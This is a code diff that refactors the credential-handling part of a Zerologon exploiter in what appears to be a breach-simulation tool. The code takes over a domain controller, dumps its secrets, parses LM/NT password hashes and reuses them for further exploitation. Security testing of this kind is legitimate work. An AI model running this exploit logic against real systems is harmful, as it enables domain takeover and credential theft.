diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 7dd4429be..6d4005c58 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -38,6 +38,7 @@ class ZerologonExploiter(HostExploiter): self.vulnerable_port = None self.zerologon_finger = ZerologonFinger() self.exploit_info['credentials'] = {} + self._extracted_creds = {} def _exploit_host(self) -> bool: self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) @@ -66,6 +67,7 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: if self.restore_password(): + self.store_extracted_creds_for_exploitation() LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -90,7 +92,7 @@ class ZerologonExploiter(HostExploiter): is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result) if is_exploited: - return is_exploited + return True return False @@ -125,7 +127,7 @@ class ZerologonExploiter(HostExploiter): request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['Authenticator'] = authenticator - def assess_exploit_attempt_result(self, exploit_attempt_result): + def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: if exploit_attempt_result: if exploit_attempt_result['ErrorCode'] == 0: self.report_login_attempt(result=True, user=self.dc_name) @@ -137,6 +139,8 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") return _exploited + return False + def restore_password(self) -> bool: LOG.info("Restoring original password...") @@ -151,7 +155,8 @@ class ZerologonExploiter(HostExploiter): # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") - username, user_pwd_hashes = user_details[0], [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + username = user_details[0] + user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -191,15 +196,15 @@ class ZerologonExploiter(HostExploiter): username=f"{self.dc_name}$", options=options) - extracted_creds = self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) + self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) admin = 'Administrator' - if admin in extracted_creds: - return admin, extracted_creds[admin] + if admin in self._extracted_creds: + return admin, self._extracted_creds[admin] else: - for user in extracted_creds.keys(): - if extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts - return user, extracted_creds[user] + for user in self._extracted_creds.keys(): + if self._extracted_creds[user]['RID'] >= 1000: # will only be able to log in with user accounts + return user, self._extracted_creds[user] except Exception as e: LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") @@ -217,8 +222,6 @@ class ZerologonExploiter(HostExploiter): return dumped_secrets def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> Dict: - extracted_creds = {} - # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" re_phrase =\ r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])' @@ -230,21 +233,18 @@ class ZerologonExploiter(HostExploiter): user = parts_of_secret[0].split('\\')[-1] # we don't want the domain user_RID, lmhash, nthash = parts_of_secret[1:4] - extracted_creds[user] = {'RID': int(user_RID), # relative identifier - 'lm_hash': lmhash, - 'nt_hash': nthash} + self._extracted_creds[user] = {'RID': int(user_RID), # relative identifier + 'lm_hash': lmhash, + 'nt_hash': nthash} - self.store_extracted_creds_for_exploitation(extracted_creds) - return extracted_creds - - def store_extracted_creds_for_exploitation(self, extracted_creds: Dict) -> None: - for user in extracted_creds.keys(): + def store_extracted_creds_for_exploitation(self) -> None: + for user in self._extracted_creds.keys(): self.add_extracted_creds_to_exploit_info(user, - extracted_creds[user]['lm_hash'], - extracted_creds[user]['nt_hash']) + self._extracted_creds[user]['lm_hash'], + self._extracted_creds[user]['nt_hash']) self.add_extracted_creds_to_monkey_config(user, - extracted_creds[user]['lm_hash'], - extracted_creds[user]['nt_hash']) + self._extracted_creds[user]['lm_hash'], + self._extracted_creds[user]['nt_hash']) def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info['credentials'].update({